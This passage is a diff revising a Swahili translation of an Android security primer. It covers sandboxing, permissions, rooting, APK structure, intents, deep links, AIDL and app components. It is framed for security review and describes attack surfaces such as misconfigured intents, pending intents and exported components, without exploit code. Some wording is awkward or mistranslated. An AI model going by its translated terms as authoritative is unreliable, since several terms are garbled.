5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha ikatengeneza sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**. +**Sanduku la Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, kwa hivyo msimbo wa programu unafanya kazi kivyake kutoka kwa programu zingine.\ +Kuanzia Android 5.0(L) **SELinux** inatekelezwa. Kimsingi, SELinux ilikataa mwingiliano wa mchakato wote na kisha iliumba sera za **kuruhusu mwingiliano uliotarajiwa kati yao tu**. ### Ruhusa -Unapoweka **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\ -Tambua kwamba maombi ya android hayahitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa njia ya kudhibiti** lakini ruhusa zote lazima zitamkwe katika **mizizi.** +Unapojisakinisha **programu na inauliza ruhusa**, programu inauliza ruhusa zilizosanidiwa katika vipengele vya **`uses-permission`** katika faili ya **AndroidManifest.xml**. Kipengele cha **uses-permission** kinaonyesha jina la ruhusa inayohitajika ndani ya sifa ya **jina**. Pia ina sifa ya **maxSdkVersion** ambayo inazuia kuuliza ruhusa kwenye toleo zaidi ya lile lililoelezwa.\ +Tambua kwamba programu za android hazihitaji kuuliza ruhusa zote mwanzoni, wanaweza pia **kuuliza ruhusa kwa kudhibiti** lakini ruhusa zote lazima zitangazwe katika **mizizi**. -Wakati programu inafunua utendaji inaweza kikomo **upatikanaji kwa maombi tu yenye ruhusa iliyotajwa**.\ +Wakati programu inafunua utendaji inaweza kizuia **upatikanaji kwa programu tu zenye ruhusa iliyoelezwa**.\ Kipengele cha ruhusa kina sifa tatu: * **Jina** la ruhusa -* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kwa kikundi cha ruhusa kinachohusiana. +* Sifa ya **kikundi cha ruhusa**, ambayo inaruhusu kikundi cha ruhusa kinachohusiana. * **Kiwanja cha ulinzi** ambacho kinaonyesha jinsi ruhusa zinavyotolewa. Kuna aina nne: * **Kawaida**: Hutumiwa wakati hakuna **tishio lililojulikana** kwa programu. Mtumiaji **hahitajiki kuidhinisha**. -* **Hatari**: Inaonyesha ruhusa inatoa programu inayoomba **upatikanaji ulioinuliwa**. **Watumiaji wanahitajika kuziidhinisha**. -* **Sahihi**: **Maombi yaliyosainiwa na cheti kile kile** kama kinachotumia kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi. -* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti kile kile** kama kinachotumia kipengee au **maombi yanayotumia upatikanaji wa kiwango cha mfumo** yanaweza kupewa ruhusa +* **Hatari**: Inaonyesha ruhusa inayompa programu inayoomba ufikiaji fulani. **Watumiaji wanahitajika kuidhinisha**. +* **Sahihi**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee kinaweza kupewa ruhusa. Hii ni aina yenye nguvu zaidi ya ulinzi. +* **SahihiAuMfumo**: **Maombi yaliyosainiwa na cheti sawa na lile** linaloexport kipengee au **maombi yanayotumia ufikiaji wa kiwango cha mfumo** yanaweza kupewa ruhusa ## Maombi Yaliyosanikishwa Kabla -Maombi haya kwa kawaida hupatikana kwenye **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuchunguza kwa sababu mara nyingi yanakuwa **yanaendeshwa na ruhusa nyingi sana** (kama mtumiaji wa msingi). +Maombi haya kwa kawaida hupatikana katika saraka za **`/system/app`** au **`/system/priv-app`** na baadhi yao ni **yaliyoboreshwa** (unaweza hata usipate faili ya `classes.dex`). Maombi haya ni muhimu kuchunguza kwa sababu mara nyingi yanakuwa **yakifanya kazi na ruhusa nyingi sana** (kama mtumiaji wa msingi). -* Yaliyotumwa na **AOSP** (Android OpenSource Project) **ROM** +* Yaliyotumwa na **AOSP** (Mradi wa Chanzo Wazi wa Android) **ROM** * Yaliyotolewa na **mtengenezaji wa kifaa** -* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeunuliwa kutoka kwao) +* Yaliyotolewa na **mtoa huduma wa simu** (ikiwa imeununuliwa kutoka kwao) ## Kuroot -Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kwa kawaida huwa **maalum** kwa **kifaa** na **toleo**.\ -Maranyingi baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`. +Ili kupata ufikiaji wa msingi kwenye kifaa cha android unahitaji kwa ujumla **kutumia** 1 au 2 **udhaifu** ambao kawaida huwa **maalum** kwa **kifaa** na **toleo**.\ +Baada ya udhaifu kufanya kazi, kawaida `su` ya Linux inakopiwa kwenye eneo lililoelezwa katika PATH env variable ya mtumiaji kama vile `/system/xbin`. Baada ya `su` binary kuwekwa, programu nyingine ya Android hutumiwa kuingiliana na `su` binary na **kutimiza maombi ya ufikiaji wa msingi** kama **Superuser** na **SuperSU** (inapatikana kwenye duka la Google Play). @@ -72,25 +80,25 @@ Tambua kwamba mchakato wa kuroot ni hatari sana na unaweza kuharibu vibaya kifaa ### ROMs -Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kupanua matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata ufikiaji wa msimbo wa Android wa hivi karibuni.\ +Inawezekana **kubadilisha OS kwa kusanikisha firmware ya desturi**. Kufanya hivi inawezekana kuongeza matumizi ya kifaa cha zamani, kuepuka vizuizi vya programu au kupata ufikiaji wa msimbo wa Android wa hivi karibuni.\ **OmniROM** na **LineageOS** ni moja ya firmware maarufu zaidi kutumia. Tambua kwamba **sio lazima kila wakati kuroot kifaa** kusanikisha firmware ya desturi. **Baadhi ya watengenezaji huruhusu** kufungua bootloader zao kwa njia iliyodokezwa vizuri na salama. ### Matokeo -Maranyingi kifaa kikisharoot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu. +Marakaraka kifaa kimeroot, programu yoyote inaweza kuomba ufikiaji kama msingi. Ikiwa programu mbaya inapata, inaweza kupata ufikiaji wa karibu kila kitu na itaweza kuharibu simu. ## Misingi ya Maombi ya Android -- Mfumo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana). -- Yaliyomo ya APK (Hayo ni baadhi tu) +- Muundo wa maombi ya Android unaitwa _muundo wa faili wa APK_. Kimsingi ni **faili ya ZIP** (kwa kubadilisha kificho cha faili kuwa .zip, maudhui yanaweza kuchimbuliwa na kuonekana). +- Yaliyomo ya APK (Hayo hayatoshi) - **AndroidManifest.xml** - resources.arsc/strings.xml - resources.arsc: ina rasilimali zilizopangwa mapema, kama XML ya binary. - res/xml/files\_paths.xml - META-INF/ -- Hapa ndipo Cheti linapatikana! +- Hapa ndipo Cheti lilipo! - **classes.dex** - Ina bytecode ya Dalvik, ikionyesha msimbo uliokompiliwa wa Java (au Kotlin) ambao programu inatekeleza kwa chaguo-msingi. - lib/ @@ -100,18 +108,18 @@ Maranyingi kifaa kikisharoot, programu yoyote inaweza kuomba ufikiaji kama msing - `x86`: msimbo kwa processors za X86 - `mips`: msimbo kwa processors za MIPS pekee - assets/ -- Inahifadhi faili mbalimbali zinazohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingine hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi. +- Inahifadhi faili mbalimbali zinazohitajika na programu, pamoja na maktaba za asili au faili za DEX zaidi, mara nyingi hutumiwa na waandishi wa programu hasidi kuficha msimbo zaidi. - res/ - Ina rasilimali ambazo hazijakusanywa katika resources.arsc ### **Dalvik & Smali** -Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya zaidi la Android. +Katika maendeleo ya Android, **Java au Kotlin** hutumiwa kuunda programu. Badala ya kutumia JVM kama katika programu za desktop, Android inakusanya nambari hii kuwa **Dalvik Executable (DEX) bytecode**. Zamani, mashine ya kawaida ya Dalvik ilishughulikia bytecode huu, lakini sasa, Android Runtime (ART) inachukua jukumu hili katika toleo jipya la Android. -Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kufunga upya katika muktadha huu. +Kwa uhandisi wa nyuma, **Smali** inakuwa muhimu. Ni toleo linaloweza kusomwa na binadamu la DEX bytecode, likifanya kazi kama lugha ya mkutano kwa kutafsiri nambari ya chanzo kuwa maagizo ya bytecode. Smali na baksmali hurejelea zana za mkutano na kuvunja tena katika muktadha huu. ## Intents -Intents ni njia kuu ambayo programu za Android hutumia kuwasiliana kati ya vipengele vyao au na programu nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengele, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP. +Intents ni njia kuu ambayo programu za Android huchangia kati ya vipengele vyao au na programu nyingine. Vitu hivi vya ujumbe pia vinaweza kubeba data kati ya programu au kipengele, kama jinsi maombi ya GET/POST yanavyotumiwa katika mawasiliano ya HTTP. Kwa hivyo, Intent ni **ujumbe unaopitishwa kati ya vipengele**. Intents **zinaweza kuwa zimeelekezwa** kwa vipengele au programu maalum, **au zinaweza kutumwa bila mpokeaji maalum**.\ Ili kuwa rahisi, Intent inaweza kutumika: @@ -119,8 +127,8 @@ Ili kuwa rahisi, Intent inaweza kutumika: * Kuanza Shughuli, kwa kawaida kufungua kiolesura cha mtumiaji kwa programu * Kama matangazo ya kuarifu mfumo na programu za mabadiliko * Kuanza, kusimamisha, na kuwasiliana na huduma ya nyuma -* Kupata data kupitia Watoa Huduma wa Yaliyomo -* Kama maingiliano ya kushughulikia matukio +* Kupata data kupitia Watoaji wa Yaliyomo +* Kama maombi ya kurudi kushughulikia matukio Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashambulizi**. @@ -128,11 +136,11 @@ Ikiwa ina kasoro, **Intents zinaweza kutumika kufanya aina mbalimbali za mashamb **Intent Filters** hufafanua **jinsi shughuli, huduma, au Kipokeaji cha Matangazo kinaweza kuingiliana na aina tofauti za Intents**. Kimsingi, hufafanua uwezo wa vipengele hivi, kama vile vitendo wanavyoweza kutekeleza au aina za matangazo wanayoweza kusindika. Mahali kuu pa kutangaza vichungi hivi ni ndani ya faili ya **AndroidManifest.xml**, ingawa kwa Kipokeaji cha Matangazo, kuandika ni chaguo pia. -Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kuingiza metadata ziada. Hii inaruhusu vipengele kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa. +Intent Filters zimeundwa na vikundi, vitendo, na vichungi vya data, na uwezekano wa kujumuisha metadata ziada. Hii inaruhusu vipengele kushughulikia Intents maalum ambazo zinalingana na vigezo vilivyotangazwa. -Jambo muhimu la vipengele vya Android (shughuli/huduma/watoa huduma wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimeelezwa kwa hiyo katika muktadha. Walakini, kuna njia kwa watengenezaji kudumisha vipengele hivi kuwa binafsi, kuhakikisha kuwa haviingiliani na programu nyingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa muktadha. +Jambo muhimu la vipengele vya Android (shughuli/huduma/watoaji wa yaliyomo/Kipokeaji cha Matangazo) ni uonekano wao au **hali ya umma**. Kipengele kinachukuliwa kuwa cha umma na kinaweza kuingiliana na programu nyingine ikiwa kina **`exported`** na thamani ya **`true`** au ikiwa Kichungi cha Intent kimeelezwa kwa hiyo katika maelezo. Walakini, kuna njia kwa watengenezaji kudumisha vipengele hivi kuwa binafsi, kuhakikisha kuwa havichangiliani na programu nyingine kwa bahati mbaya. Hii inafanikiwa kwa kuweka sifa ya **`exported`** kuwa **`false`** katika ufafanuzi wao wa maelezo. -Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`permission`** inaweza kuwekwa kutekeleza kwamba ni programu zenye ruhusa iliyopewa tu zinaweza kupata kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho. +Zaidi ya hayo, watengenezaji wana chaguo la kuhakikisha upatikanaji wa vipengele hivi zaidi kwa kuhitaji ruhusa maalum. Sifa ya **`ruhusa`** inaweza kuwekwa ili kuhakikisha kuwa ni programu zenye ruhusa iliyopewa tu ndizo zinaweza kupata kipengele, kuongeza safu ya ziada ya usalama na udhibiti juu ya ni nani anaweza kuingiliana nacho. ```java @@ -157,11 +165,11 @@ Nia hii inapaswa kutangazwa ndani ya mwonekano kama katika mfano ufuatao: ``` Intent-filter inahitaji kufanana na **action**, **data** na **category** ili kupokea ujumbe. -Mchakato wa "Uamuzi wa Intent" unabainisha ni programu gani itapokea kila ujumbe. Mchakato huu unazingatia **kipaumbele cha sifa**, ambacho kinaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**. +Mchakato wa "Uamuzi wa Intent" unahusisha kujua ni app gani inapaswa kupokea kila ujumbe. Mchakato huu unazingatia **sifa ya kipaumbele**, ambayo inaweza kuwekwa katika **tamko la intent-filter**, na **ile yenye kipaumbele kikubwa zaidi itachaguliwa**. Kipaumbele hiki kinaweza kuwekwa kati ya -1000 na 1000 na programu zinaweza kutumia thamani ya `SYSTEM_HIGH_PRIORITY`. Ikiwa **mgogoro** unatokea, Dirisha la "choser" linaonekana ili **mtumiaji aweze kuchagua**. -### Intents Zilizoelekezwa +### Intents Dhahiri -Intent iliyoelekezwa inabainisha jina la darasa inayolengwa: +Intent dhahiri inabainisha jina la darasa inalolenga: ```java Intent downloadIntent = new (this, DownloadService.class): ``` @@ -173,29 +181,32 @@ context.startService(intent); ``` ### Pending Intents -Hizi huruhusu programu nyingine kuchukua hatua kwa niaba ya programu yako, ikatumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa kuhusisha nia na hatua ya kutekelezwa. Ikiwa nia iliyotangazwa si ya moja kwa moja (haielezi ni nia gani inaweza kuita), programu hasidi inaweza kutekeleza hatua iliyotangazwa kwa niaba ya programu ya mwathiriwa. Zaidi ya hayo, ikiwa hatua haijatajwa, programu hasidi itaweza kufanya hatua yoyote kwa niaba ya mwathiriwa. +Hizi huruhusu programu zingine **kuchukua hatua kwa niaba ya programu yako**, ikatumia kitambulisho na ruhusa za programu yako. Kujenga Pending Intent inapaswa **kutaja nia na hatua ya kutekeleza**. Ikiwa **neno la nia lililotajwa si wazi** (halitaji ni nia gani inaweza kuita), programu mbaya inaweza kutekeleza hatua iliyotajwa **kwa niaba ya programu ya mwathiriwa**. Zaidi ya hayo, **ikiwa hatua haijatajwa**, programu mbaya itaweza kufanya **hatua yoyote kwa niaba ya mwathiriwa**. ### Broadcast Intents -Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo zinaweza kupokelewa na programu nyingi. Walakini, kuanzia toleo la API 14, ni rahisi kufafanua programu inayopaswa kupokea ujumbe kwa kutumia Intent.set Package. +Tofauti na nia za awali, ambazo hupokelewa na programu moja tu, nia za matangazo **zinaweza kupokelewa na programu nyingi**. Hata hivyo, kuanzia toleo la API 14, ni **inawezekana kutaja programu inayopaswa kupokea** ujumbe kwa kutumia Intent.set Package. -Kwa kuongezea, ni rahisi pia kufafanua ruhusa wakati wa kutuma matangazo. Programu ya kupokea itahitaji kuwa na ruhusa hiyo. +Kwa kuongezea, pia ni **inawezekana kutaja ruhusa wakati wa kutuma matangazo**. Programu ya kupokea itahitaji kuwa na ruhusa hiyo. -Kuna aina mbili za Matangazo: Kawaida (asynchronous) na Yaliyopangwa (synchronous). Mpangilio unategemea kipaumbele kilichowekwa ndani ya kipokeaji. Kila programu inaweza kusindika, kusambaza, au kudondosha Matangazo. +Kuna **aina mbili** za Matangazo: **Kawaida** (isio ya moja kwa moja) na **Yaliyopangwa** (ya moja kwa moja). **Mpangilio** unategemea **kipaumbele kilichowekwa ndani ya kipokeaji**. **Kila programu inaweza kusindika, kusambaza, au kudondosha Matangazo.** -Inawezekana kutuma matangazo kwa kutumia kazi `sendBroadcast(intent, receiverPermission)` kutoka darasa la `Context`. Unaweza pia kutumia kazi `sendBroadcast` kutoka kwa `LocalBroadCastManager` kuhakikisha ujumbe hauondoki kamwe kwenye programu. Kwa kutumia hii, hata hautahitaji kuuza kipokeaji. +Inawezekana **kutuma** matangazo kwa kutumia kazi `sendBroadcast(nia, ruhusa ya mpokeaji)` kutoka darasa la `Context`.\ +Unaweza pia kutumia kazi **`sendBroadcast`** kutoka **`LocalBroadCastManager`** kuhakikisha **ujumbe hauondoki kamwe kwenye programu**. Kwa kutumia hii hata hautahitaji kuuza nje sehemu ya kupokea. ### Matangazo ya Sticky -Aina hii ya Matangazo inaweza kupatikana muda mrefu baada ya kutumwa. Hizi zilipitwa na wakati katika kiwango cha API 21 na inapendekezwa kutokuzitumia. Zinaruhusu programu yoyote kunusa data, lakini pia kuihariri. +Aina hii ya Matangazo **inaweza kupatikana muda mrefu baada ya kutumwa**.\ +Hizi zilipitwa na wakati katika kiwango cha API 21 na **inashauriwa kutotumia**.\ +**Zinaruhusu programu yoyote kunusa data, lakini pia kuihariri.** -Ikiwa unapata kazi zinazoleta neno "sticky" kama `sendStickyBroadcast` au `sendStickyBroadcastAsUser`, angalia athari na jaribu kuziondoa. +Ikiwa unapata kazi zinazoleta neno "sticky" kama **`sendStickyBroadcast`** au **`sendStickyBroadcastAsUser`**, **angalia athari na jaribu kuziondoa**. ## Viungo vya Kina / Mipango ya URL -Katika programu za Android, viungo vya kina hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza mpango maalum wa URL ndani ya shughuli. Wakati kifaa cha Android kinajaribu kupata URL na mpango huu, shughuli iliyotajwa ndani ya programu huzinduliwa. +Katika programu za Android, **viungo vya kina** hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza **mpango maalum wa URL** ndani ya shughuli. Wakati kifaa cha Android kinajaribu **kufikia URL na mpango huu**, shughuli iliyotajwa ndani ya programu inazinduliwa. -Mpango huo lazima utangazwe katika faili ya `AndroidManifest.xml`: +Mpango lazima utangazwe katika faili ya **`AndroidManifest.xml`**: ```xml [...] @@ -207,7 +218,7 @@ Mpango huo lazima utangazwe katika faili ya `AndroidManifest.xml`: [...] ``` -Schemu kutoka kwenye mfano uliopita ni `exampleapp://` (pia kumbuka **`jamii BROWSABLE`**) +Schemu kutoka kwa mfano uliopita ni `exampleapp://` (pia kumbuka **`jamii BROWSABLE`**) Kisha, katika uga wa data, unaweza kufafanua **host** na **path**: ```xml @@ -215,36 +226,36 @@ Kisha, katika uga wa data, unaweza kufafanua **host** na **path**: android:host="example" /> ``` -Kuipata kutoka kwenye wavuti inawezekana kuweka kiungo kama: +Ili kuipata kutoka kwenye wavuti, niwezekanavyo kuweka kiungo kama: ```xml click here click here ``` -Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo kirefu na tafuta kazi ya **`onNewIntent`**. +Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo cha kina na tafuta kazi ya **`onNewIntent`**. Jifunze jinsi ya [kuita viungo vya kina bila kutumia kurasa za HTML](./#exploiting-schemes-deep-links). ## AIDL - Lugha ya Ufafanuzi wa Interface ya Android -**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kufanikisha mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata kumbukumbu ya michakato mingine moja kwa moja hairuhusiwi kwenye Android, AIDL inasimplisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti. +**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa kusaidia mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata kumbukumbu ya michakato mingine moja kwa moja hairuhusiwi kwenye Android, AIDL inasimplisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti. ### Dhana Kuu -- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` katika darasa la huduma ni muhimu sana kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu. +- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` katika darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu. -- **Mtume (Messenger)**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa namna yoyote ya kushughulikia data kwa usalama au utekelezaji wa kazi nyeti. +- **Mtume**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa kushughulikia data zisizo salama au utekelezaji wa kazi nyeti. -- **Kifungu (Binder)**: Ingawa matumizi moja kwa moja ya darasa la Binder ni nadra kutokana na ujumuishaji wa AIDL, ni faida kuelewa kuwa Binder hufanya kazi kama dereva wa kiwango cha kernel kurahisisha uhamishaji wa data kati ya nafasi za kumbukumbu za michakato tofauti. Kwa uelewa zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). +- **Kifungu**: Ingawa matumizi moja kwa moja ya darasa la Kifungu ni nadra kutokana na ujumuishaji wa AIDL, ni faida kuelewa kuwa Kifungu hufanya kazi kama dereva wa kiwango cha kernel kurahisisha uhamishaji wa data kati ya nafasi za kumbukumbu za michakato tofauti. Kwa uelewa zaidi, rasilimali inapatikana kwenye [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8). ## Vipengele -Hivi ni pamoja na: **Shughuli (Activities), Huduma (Services), Wapokeaji wa Matangazo (Broadcast Receivers) na Watoaji (Providers).** +Hivi ni pamoja na: **Shughuli, Huduma, Wapokeaji wa Matangazo na Watoa Huduma.** ### Shughuli ya Kuzindua na shughuli nyingine -Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji. +Katika programu za Android, **shughuli** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikionyesha skrini ya kipekee kwa mtumiaji. -**Shughuli ya kuzindua (launcher activity)** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza picha ya programu. Imedefiniwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER: +**Shughuli ya kuzindua** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza picha ya programu. Imedefiniwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER: ```markup @@ -253,19 +264,19 @@ Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesh ``` -Haitaji shughuli ya kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma. +Haitaji shughuli za kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma. -Shughuli zinaweza kuwezeshwa kwa programu au michakato mingine kwa kuziweka kama "zilizowekwa wazi" katika hati ya maandishi. Mipangilio hii inaruhusu programu nyingine kuanza shughuli hii: +Shughuli zinaweza kuwezeshwa kwa programu au michakato mingine kwa kuziweka kama "zilizouzwa" kwenye hati ya maandishi. Mipangilio hii inaruhusu programu nyingine kuanza shughuli hii: ```markdown ``` -Hata hivyo, kupata shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari. +Hata hivyo, kufikia shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari. -**Mzunguko wa maisha ya shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli kuingiliana na mtumiaji. +**Mzunguko wa maisha ya shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli ya mwingiliano na mtumiaji. ### Darasa la Maombi -Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza. +Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale kama hilo linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza. ```java public class MyApp extends Application { @Override @@ -283,31 +294,31 @@ super.onCreate(); ``` ### Huduma -[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**. +[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kufanya hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**. -Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea kukimbia hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data. +Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data. Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kupeleka**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest: ```xml ``` -### Wapokeaji wa Matangazo +### Wapokezi wa Matangazo -**Wapokeaji wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu 